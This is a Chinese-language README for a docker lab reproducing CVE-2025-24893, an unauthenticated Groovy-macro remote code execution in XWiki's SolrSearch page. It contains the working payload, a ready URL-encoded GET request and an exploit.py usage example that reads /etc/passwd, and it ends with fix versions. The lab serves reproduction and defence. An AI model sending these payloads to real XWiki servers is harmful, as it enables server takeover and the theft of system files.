Main.SolrSearch 页面不仅对访客开放,而且还将用户输入的 text 参数在没有充分验证的情况下作为 XWiki 语法进行评估。text 中插入 {{groovy}} 宏,从而在服务器上执行任意 Groovy 代码,并通过 "command".execute() 调用操作系统命令。此漏洞无需额外登录或令牌,仅通过单个 GET 请求即可利用。本目录使用官方 XWiki 独立发行版 15.10.1 和 Java 17 运行时构建了脆弱环境。
| 项 | 内容 |
|---|---|
| CVE | CVE-2025-24893 |
| 产品 | XWiki Platform |
| 受影响版本 | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| 修复版本 | 15.10.11, 16.4.1 |
| 漏洞类型 | Eval Injection -> 未认证 RCE |
| 是否需要认证 | 不需要 |
| 影响 | 可执行服务器命令 |
Main.SolrSearch 端点必须对访客可访问。text 参数作为 XWiki 语法进行评估。groovy 宏必须处于可执行状态。本环境使用 XWiki 15.10.1,因此满足上述条件。
docker compose up -d --build
初次运行时将自动安装,可能需要几分钟。(大约需要 6~7 分钟)
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
当上述命令的结果中出现 "Status":"healthy" 状态时,环境配置完成,即可进行利用。
pip install requests
在运行 exploit.py 之前安装依赖。
核心 payload 如下。
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
上述 payload 插入到 text 参数中,并在 Main.SolrSearch 页面进行评估。结果,println("id".execute().text) 在服务器上执行,命令执行结果会反射到 RSS 响应正文中。
完整的执行脚本请参考 exploit.py。
python3 exploit.py
运行上述 Python 代码即可复现 PoC。默认命令为 id。
python3 exploit.py -c "cat /etc/passwd"
若要执行其他命令,请像上面那样传递参数。
或者也可以直接发送 URL 请求。(输出 id 的 payload)
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
在响应中返回 id 的情况
查看当前目录文件
15.10.11 或更高版本,或 16.4.1 或更高版本。SolrSearch 访问日志。